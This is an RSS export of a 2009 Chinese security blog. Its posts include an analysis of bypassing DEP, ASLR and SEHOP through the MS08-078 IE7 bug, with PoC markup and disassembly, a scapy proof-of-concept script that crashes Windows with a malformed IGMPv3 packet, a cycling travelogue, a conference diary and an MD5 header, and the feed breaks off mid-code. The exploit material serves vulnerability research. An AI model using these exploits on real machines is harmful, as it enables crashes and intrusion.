<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[vessial&#39;s easylife]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[^_* mailbox: vessial#hotmail.com]]></description>
<link>http://hi.baidu.com/vessial</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[How to Bypass DEP+ASLR+SEHOP]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/962b7d1149d1d8cca6ef3f24.html]]></link>
        <description><![CDATA[
		
		&#160;&#160;&#160; 昨天去<a target="_blank" href="http://www.sinoit.org.cn/sscon2009.html">SSCON2009</a>听TK讲了一个议题“<strong><a href="http://www.sinoit.org.cn/sscon2009/news091030-yuyang.html" target="_blank" class="l1"><strong>安全漏洞的下一个十年</strong></a>”</strong>，佩服TK的演讲的幽默风趣，MS一个<br>
<br>
非常具有忽悠的议题讲的很生动，精彩，再次膜拜下，我个人觉得里面最精彩部分就在如下了，呵呵，<br>
<br>
通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护机制，很是受启发，因为<br>
<br>
TK只有一张PPT的介绍，我在此想展开介绍的更详细点，和大家分享一下TK的研究成果：），未经TK<br>
<br>
的同意，在此还要感谢下TK:)<br>
<br>
我去年分析过这个<a target="_blank" href="http://hi.baidu.com/vessial/blog/item/10d1f8d03933cd88a1ec9c4b.html">漏洞</a>，现在让我们看看，到底是如果绕过windows现有的DEP,ALSR,SEHOP这些安全<br>
<br>
保护机制的。<br>
<br>
if(wxp||w2k3)document.write(<br>
'&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;<br>
&lt;![CDATA[&lt;image SRC=http://&amp;#11C8;&amp;#2570;.book.com src=http://www.google.com]]&gt;<br>
&lt;![CDATA[&gt;]]&gt;&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;<br>
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;<br>
&lt;XML ID=I&gt;<br>
&lt;/XML&gt;<br>
<br>
漏洞细节就不介绍了，构造如此数据在这个Poc中<br>
<br>
0x0a0a11c8<br>
<br>
通过Heap spray在内存中填充0x7ffe027c这个值，为什么要填充如下值，下面会作介绍。<br>
<br>
<br>
mshtml.dll CXfer::TransferFromSrc(void) <br>
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near<br>
.text:461E3D18&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p<br>
.text:461E3D18&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...<br>
.text:461E3D18<br>
.text:461E3D18 pvarg&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = VARIANTARG ptr -18h<br>
.text:461E3D18 var_8&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = dword ptr -8<br>
.text:461E3D18 var_4&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = dword ptr -4<br>
.text:461E3D18<br>
.text:461E3D18&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; edi, edi<br>
.text:461E3D1A&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; ebp<br>
.text:461E3D1B&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; ebp, esp<br>
.text:461E3D1D&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; sub&#160;&#160;&#160;&#160; esp, 18h<br>
.text:461E3D20&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; ebx<br>
.text:461E3D21&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; esi<br>
.text:461E3D22&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; esi, ecx<br>
.text:461E3D24&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; xor&#160;&#160;&#160;&#160; ebx, ebx<br>
.text:461E3D26&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; test&#160;&#160;&#160; byte ptr [esi+1Ch], 9<br>
.text:461E3D2A&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; jnz&#160;&#160;&#160;&#160; loc_461E3E2E<br>
<br>
.text:461E3D30&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; eax, [esi] //eax==0x0a0a11c8<br>
.text:461E3D32&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; cmp&#160;&#160;&#160;&#160; eax, ebx<br>
.text:461E3D34&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; jz&#160;&#160;&#160;&#160;&#160; loc_461E3E29<br>
.text:461E3D3A&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; cmp&#160;&#160;&#160;&#160; [esi+4], ebx<br>
.text:461E3D3D&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; jz&#160;&#160;&#160;&#160;&#160; loc_461E3E29<br>
.text:461E3D43&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; cmp&#160;&#160;&#160;&#160; [esi+8], ebx<br>
.text:461E3D46&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; jz&#160;&#160;&#160;&#160;&#160; loc_461E3E29<br>
.text:461E3D4C&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; ecx, [eax] //[0x0a0a11c8]==0x7ffe027c<br>
.text:461E3D4E&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; edi<br>
.text:461E3D4F&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; eax //eax==0x0a0a11c8<br>
.text:461E3D50&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; call&#160;&#160;&#160; dword ptr [ecx+84h] //call [0x7FFE027C+0x84], 换句话说就是call<br>
<br>
[0x7ffe0300], 这是SharedUserData!SystemCallStub指针，这个指针里面存放着用户态进入内核态<br>
<br>
ntdll!KiFastSystemCall函数的地址，也就是任何内核系统服务调用都会通过这个函数进入内核。<br>
<br>
this call request for native API.// this call like call NtUserLockWorkStation for lock the windows:)<br>
<br>
<br>
0:000&gt; dd SharedUserData!SystemCallStub<br>
7ffe0300&#160; 7c828608 7c82860c 00000000 00000000<br>
7ffe0310&#160; 00000000 00000000 00000000 00000000<br>
7ffe0320&#160; 00d2c763 00000000 00000000 00000000<br>
7ffe0330&#160; 71724108 00000000 00000000 00000000<br>
7ffe0340&#160; 00000000 00000000 00000000 00000000<br>
7ffe0350&#160; 00000000 00000000 00000000 00000000<br>
7ffe0360&#160; 00000000 00000000 00000000 00000000<br>
7ffe0370&#160; 00000000 00000000 00000000 00000000<br>
<br>
0:000&gt; u 7c828608 <br>
ntdll!KiFastSystemCall:<br>
7c828608 8bd4&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; edx,esp<br>
7c82860a 0f34&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; sysenter<br>
ntdll!KiFastSystemCallRet:<br>
<br>
<br>
我们再看看这个0x11c8这个值构造的用意，先让我们看看锁屏函数NtUserLockWorkStation，也就是直接<br>
<br>
调用这个函数就是会实现锁屏功能。<br>
<br>
0:000&gt; u 773ddd0d <br>
USER32!NtUserLockWorkStation:<br>
773ddd0d b8c8110000&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; eax,11C8h // <br>
773ddd12 ba0003fe7f&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; edx,offset SharedUserData!SystemCallStub (7ffe0300)<br>
773ddd17 ff12&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; call&#160;&#160;&#160; dword ptr [edx]<br>
773ddd19 c3&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ret<br>
<br>
我们再看看这个ie7的漏洞的片断<br>
.text:461E3D46&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; jz&#160;&#160;&#160;&#160;&#160; loc_461E3E29<br>
.text:461E3D4C&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; ecx, [eax] //[0x0a0a11c8]==0x7ffe027c<br>
.text:461E3D4E&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; edi<br>
.text:461E3D4F&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; push&#160;&#160;&#160; eax //eax==0x0a0a11c8//这里的实现是不是跟NtUserLockWorkStation很<br>
相似<br>
.text:461E3D50&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; call&#160;&#160;&#160; dword ptr [ecx+84h] //call [0x7FFE027C+0x84]<br>
<br>
也许大家会问NtUserLockWorkStation的代码片断是mov eax,0x11c8，而上面的代码的eax是0x0a0a11c8，<br>
<br>
事实在内核中处理过程，来通过传入的eax的值来判断是哪个服务调用，其实只用了低两个字节，所以<br>
<br>
0x0a0a11c8可以忽略高两个字节，对服务调用结果不影响，所以完全可以当成是执行了锁屏操作。<br>
<br>
结论：<br>
<br>
1.通过Heap spray注入内存的构造的数据绕过DEP，因为没有在堆上执行代码<br>
<br>
2.绕过ASLR，是因为内核服务调用的入口地址是不会变化的，只要能够构造相应的内核调用需要用到的<br>
<br>
参数，就可以执行类似这样的shellcode，但是局限性也很明显了，因为这样构造出来的shellcode功能很<br>
<br>
有限，就像TK演示的那样，制造了一个锁屏的操作。<br>
<br>
3.利用起来非常困难，但就理论上就对抗windows的这些安全保护机制，算是绕过了，呵呵：）<br>
<br>
写的匆忙，多多包涵，再次感谢TK提供的这种想法：）<br> <a href="http://hi.baidu.com/vessial/blog/item/962b7d1149d1d8cca6ef3f24.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C2%A9%B6%B4%B7%D6%CE%F6">漏洞分析</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/962b7d1149d1d8cca6ef3f24.html#comment">查看评论</a>]]></description>
        <pubDate>2009-11-14  17:02</pubDate>
        <category><![CDATA[漏洞分析]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/962b7d1149d1d8cca6ef3f24.html</guid>
</item>

<item>
        <title><![CDATA[国庆中秋坝上骑行--（骑行篇）]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/0cc8fd09bd8137c53ac763d9.html]]></link>
        <description><![CDATA[
		
		<br>
在luoluo同学和uu同学的诱惑下，8月底我也装了一辆自行车，然后就疯狂的爱上了这种运动，然后跟着<br>
<br>
luoluo和uu上过门头沟的东方红隧道，黄花城水长城，香山，骑着自行车可以享受到被折磨的刺激，也许<br>
<br>
你会觉得我这种想法很变态，当你经历长时间的骑行和错综复杂的路段，到达目的地后，你会获得无与伦比的<br>
<br>
快感，长途骑行确实是一种自虐，因为你要经历肉体和心理上的摧残，有时候你会感觉到绝望，路漫漫其修<br>
<br>
远兮，好了，不扯蛋了，西红柿臭鸡蛋上来了。<br>
<br>
这次坝上之行，我已经策划了很久了，本来是约好同事朋友一起去的，后来国庆期间很多同事朋友都回家<br>
<br>
了，期间我有放弃过的念头，心想一个人骑车，那是骑的是寂寞，前方路途未卜，形势很复杂，搞不好很容<br>
<br>
易挂掉，不值，有点胆怯了，后来放假后， 一直思想斗争，一直用“你是不是男人”的句子激怒自已，一个人<br>
<br>
就一个人吧，一个人也有一个人的精彩，于是中秋那天开始了我的长途骑行征程。<br>
<br>
先show一把我的交通工具，人力单车：）<br>
<br>
<br>
<br>
<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/de9847c4928693e638db49e4.jpg" small="0" class="blogimg"><br>
<br>
下午3点多的时候骑车去六里桥坐汽车去承德，主要是想着没必要浪费时间在北京到承德的路上，车票<br>
<br>
花了73，单车放车上花了50，走京承高速，每个人又掏了10块，MD，坐汽车也真够黑的，算了，出去玩<br>
<br>
也就不计较这些了。<br>
<br>
晚上大概6，7点的样子到承德市区，那里温度比北京低多了，赶紧穿了长衣长裤，在火车站附近吃了一<br>
<br>
碗牛肉拉面，5块，还挺便宜，吃完在承德市区溜达找旅店住下，看了好多家宾馆都挺贵的，看来去的时间<br>
<br>
不对，正值黑人时，找了家宾馆，150的标间住下，洗澡，好好休息下，打算第二天开始我的新的征程，小<br>
<br>
插曲，悲剧，自行车上的码表弄丢了，估计是放在汽车上的时候弄掉的，MD，“非战斗减员啊”，悲剧。<br>
<br>
4号<br>
大清早5点半起床，6点出发，承德市街头冷清的很，在去往双封寺镇的路上吃了半笼包子，喝了一碗<br>
<br>
粥，继续前行，之前在地图上查了一下去塞罕（念kan）坝的路线图，不过真正走的时候还得注意那些<br>
<br>
分岔路口。<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/eee067fad4d9e1f3b58f31c8.jpg" small="0" class="blogimg"><br>
<br>
先上几张承德的照片，和骑行途经的照片吧。<br>
<br>
<span><img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/cfc7c660b3384cf28cb10dd0.jpg" small="0" class="blogimg"></span><br>
晕死，出现了不和谐的元素在我的镜头里面了。<br>
<br>
<span><img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/18956c2458f31e1e8644f9d3.jpg" small="0" class="blogimg"></span><br>
清晨的承德街道。<br>
<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/69bacb0fe065c5076159f3a4.jpg" small="0" class="blogimg"><br>
<br>
已经到达了承德的郊外，向围场方向进发。<br>
<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/39666c03822dbb5a3812bba1.jpg" small="0" class="blogimg"><br>
<br>
我的装备。<br>
<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/debd4b13aa53902f5baf53a3.jpg" small="0" class="blogimg"><br>
<br>
离那啥还有xx公里。<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/dca769dec9269e7995ee37a9.jpg" small="0" class="blogimg"><br>
<br>
秋意正浓，很是怀念家乡收割水稻的情景。<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/52c9220e114346ca37d122b7.jpg" small="0" class="blogimg"><br>
<br>
自拍，形单影只，哥骑的不是车，是寂寞。<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/f9e5f9277564e52e908f9dbc.jpg" small="0" class="blogimg"><br>
<br>
路标显示离围场还有老远的路要骑，到了围场还得骑个80多公里才能到塞罕坝上。<br>
<br>
今夜无人伴我入眠。 <a href="http://hi.baidu.com/vessial/blog/item/0cc8fd09bd8137c53ac763d9.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/0cc8fd09bd8137c53ac763d9.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-08  22:58</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/0cc8fd09bd8137c53ac763d9.html</guid>
</item>

<item>
        <title><![CDATA[Xcon 2009 -- 第一天]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/25b80858336873d79d820406.html]]></link>
        <description><![CDATA[
		
		<br>
一年一度的XCON又开始了，算了搞安全人的一个party吧，今天我也来扯点蛋，哈哈，莫怪哈，<br>
<br>
一早过去，在大厅见到watercloud，alert7，san，flashsky，glacier（木马他爸），killer，还有<br>
<br>
现在的一些同事，然后以前绿盟的兄弟，还有MS的安全同仁们，knownsec的同学们，还有一些朋<br>
<br>
友，现场认识一些老外，然后现场扯蛋，哈哈，很是热闹啊，最引人注目的是一群以luoluo为首的<br>
<br>
有组织“有预谋”的一小摄“B社会”组织---80sec，哈哈，那叫一个壮观啊，都是一身80sec自已设计的黑色T恤，很酷，哈<br>
<br>
哈，我觉得应该是XCON上面回头率最高的组织了，哈哈，晚上有幸和80sec的弟兄们一起去&quot;海底捞&quot;，<br>
<br>
80sec的人真不简单，一个比一个能喝，哈哈，我不能喝，我就和阿里的墨西哥同学一起扯蛋（墨西哥<br>
<br>
同学今天还有一个议题了，关于XSS的，讲的不错，可惜WEB安全是我的盲区，唉，还得努力学习啊），<br>
<br>
还有云舒同学，有幸认识剑心同学，一袭长发，比较个性，我觉得他应该就是80sec的大佬了，那个<br>
<br>
造型太适合做老大了，哈哈，对了，墨西哥同学筷子现在用得不错啊，哈哈，看来跟刺，云舒一起，<br>
<br>
墨西哥同学估计已经被同化得差不多了，哈哈，刚见墨西哥同学的时候，用西班牙语打招呼，有意思，<br>
<br>
墨西哥本土语言就是西班牙语，看来我学的几句西班牙语居然派上用场了。<br>
<br>
-------该另起一段了----------------------<br>
<br>
认识一个韩国的信息安全情报社的MM，具体的说应该是中年女性，中国说的那叫一个棒啊，居然<br>
<br>
还懂中国的成语，我那叫一个“汗颜&quot;，后来她问我，”汗颜“是什么意思，我~!@#$%了，议题我没怎么<br>
<br>
听，就听了一个孙冰的”固件升级之安全“，还有演示，非常不错，可以看得出他已经钻得很深了，很是<br>
<br>
佩服，还有那个XSS，其它时间跟那外面那些人聊天了，其实我没有票的，在那儿混吃混喝，哈哈，<br>
<br>
有点惭愧啊，主要是去认识人，聊天去了，都没怎么听议题了，明天继续混吃混喝，同去的顶上啊。<br> <a href="http://hi.baidu.com/vessial/blog/item/25b80858336873d79d820406.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/25b80858336873d79d820406.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-18  21:48</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/25b80858336873d79d820406.html</guid>
</item>

<item>
        <title><![CDATA[Thunder-md5.h]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/f5eeac7a86c9e5e42f73b31a.html]]></link>
        <description><![CDATA[
		
		需要thunder-md5.h的看看这里吧<br>
<br>
//抱歉我不是用的openssl里面的md5<br>
<br>
//thunder-md5.h<br>
<br>
#define ROTATE_LEFT(x, n) (((x) &lt;&lt; (n)) | ((x) &gt;&gt; (32-(n))))<br>
#define F(x, y, z) (((x) &amp; (y)) | ((~x) &amp; (z)))<br>
#define G(x, y, z) (((x) &amp; (z)) | ((y) &amp; (~z)))<br>
#define H(x, y, z) ((x) ^ (y) ^ (z))<br>
#define I(x, y, z) ((y) ^ ((x) | (~z)))<br>
#define FF(a, b, c, d, x, s, ac) \<br>
{(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \<br>
(a) = ROTATE_LEFT ((a), (s)); \<br>
(a) += (b); \<br>
}<br>
#define GG(a, b, c, d, x, s, ac) \<br>
{(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \<br>
(a) = ROTATE_LEFT ((a), (s)); \<br>
(a) += (b); \<br>
}<br>
#define HH(a, b, c, d, x, s, ac) \<br>
{(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \<br>
(a) = ROTATE_LEFT ((a), (s)); \<br>
(a) += (b); \<br>
}<br>
#define II(a, b, c, d, x, s, ac) \<br>
{(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \<br>
(a) = ROTATE_LEFT ((a), (s)); \<br>
(a) += (b); \<br>
}<br>
typedef unsigned long int UINT4;<br>
/* Data structure for MD5 (Message-Digest) computation */<br>
typedef struct {<br>
UINT4 i[2];&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* number of _bits_ handled mod 2^64 */<br>
UINT4 buf[4];&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* scratch buffer */<br>
unsigned char in[64];&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* input buffer */<br>
} MD5_CTX;<br>
<br>
void MD5Init (MD5_CTX*);<br>
void Transform (UINT4 *buf, UINT4 *in);<br> <a href="http://hi.baidu.com/vessial/blog/item/f5eeac7a86c9e5e42f73b31a.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%D0%AD%D2%E9%B7%D6%CE%F6">协议分析</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/f5eeac7a86c9e5e42f73b31a.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-13  09:52</pubDate>
        <category><![CDATA[协议分析]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/f5eeac7a86c9e5e42f73b31a.html</guid>
</item>

<item>
        <title><![CDATA[TCPIP协议栈IGMP堆栈溢出本地拒绝服务攻击]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/a35496f4d67c43e67709d7b6.html]]></link>
        <description><![CDATA[
		
		前些天在seclists看到这个<a href="http://seclists.org/fulldisclosure/2009/Jul/0268.html " target="_blank">漏洞</a>，可惜不能被利用，因为/GS编绎选项，可让自已蓝屏，仅作研究实习用，呵呵，看了作者写的poc，想自已用python实践一把，折腾了几天，<br>
终于成功了，最近在做些Packet Hacking的研究，对以后的工作很有帮助，所以在学习scapy，一个非常强大的构造包的工具，强烈推荐给大家：）<br>
<br>
下面就是用这个scapy写的IGMP local stack buffer overflow的POC:)，非常简单的就实现了。<br>
大家可以自已演示一下，可以把自已打蓝屏，哈哈。<br>
<br>
# The IGMP Protocol Local D.O.S Poc<br>
# Authored by Vessial 2009-7-27<br>
# Contact Me: <a href="mailto:vessial@hotmail.com" target="_blank">vessial@hotmail.com</a><br>
#Don't used it for illegal things.<br>
from scapy import *<br>
<br>
a=IP(dst='192.168.72.2',src='
<div class="ii gt"><wbr></wbr>192.168.72.130',ttl=128,id=0,<wbr></wbr>options='\xff\xff\xff\xff')<br>
b=IGMPv3(type=0x11,mrcode=5,<wbr></wbr>numsrc=100,gaddr='0.0.0.0')<br>
<br>
for i in range(1000):<br>
&nbsp;&nbsp;&nbsp;     b.srcaddrs.append('192.168.72.<wbr></wbr>2')<br>
<br>
c=a/b<br>
<br>
s=socket.socket(socket.AF_<wbr></wbr>INET,socket.SOCK_RAW,socket.<wbr></wbr>IPPROTO_RAW)<br>
s.setsockopt(socket.IPPROTO_<wbr></wbr>IP,socket.IP_HDRINCL,1)<br>
s.sendto(str(c),(a.dst,0))<br>
<br>
就这么几行就蓝屏，强大吧：），注意必须是Raw socket，不然是不能成功的。</div>
<br>
注意默认情况下的scapy里面是没有IGMP包的构造过程的，你得手动添加如下的<br>
IGMP包结构定义和方法到scapy里面去.<br>
<br>
##<br>
##IGMP Protocol<br>
##<br>
igmptypes = { 0x11 : &quot;Group Membership Query&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x12 : &quot;Version 1 - Membership Report&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x16 : &quot;Version 2 - Membership Report&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x17 : &quot;Leave Group&quot;}<br>
<br>
class IGMP(Packet):<br>
&quot;&quot;&quot;IGMP Message Class for v1 and v2.<br>
<br>
This class is derived from class Packet. You may need to &quot;sanitize&quot; the IP <br>
and Ethernet headers before a full packet is sent.<br>
<br>
&quot;&quot;&quot;<br>
name = &quot;IGMP&quot;<br>
fields_desc = [ ByteEnumField(&quot;type&quot;, 0x11, igmptypes),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ByteField(&quot;mrtime&quot;,0),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     XShortField(&quot;chksum&quot;, None),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     IPField(&quot;gaddr&quot;, &quot;0.0.0.0&quot;)]<br>
<br>
#-----------------------------
<div class="ii gt"><wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def post_build(self, p, pay):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Called implicitly before a packet is sent to compute and place IGMP checksum.<br>
<br>
&nbsp;&nbsp;&nbsp;     Parameters:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     self&nbsp;&nbsp;&nbsp;     The instantiation of an IGMP class<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     The IGMP message in hex in network byte order<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     pay&nbsp;&nbsp;&nbsp;&nbsp;     Additional payload for the IGMP message<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;<br>
&nbsp;&nbsp;&nbsp;     p += pay<br>
&nbsp;&nbsp;&nbsp;     if self.chksum is None:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ck = checksum(p)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     p = p[:2]+chr(ck&gt;&gt;8)+chr(ck&amp;0xff)+<wbr></wbr>p[4:]<br>
&nbsp;&nbsp;&nbsp;     return p<br>
<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def mysummary(self):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Display a summary of the IGMP object.&quot;&quot;&quot;<br>
<br>
&nbsp;&nbsp;&nbsp;     if isinstance(self.underlayer, IP):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     return self.underlayer.sprintf(&quot;IGMP: %IP.src% &gt; %IP.dst% %IGMP.type% %IGMP.gaddr%&quot;)<br>
&nbsp;&nbsp;&nbsp;     else:<br>
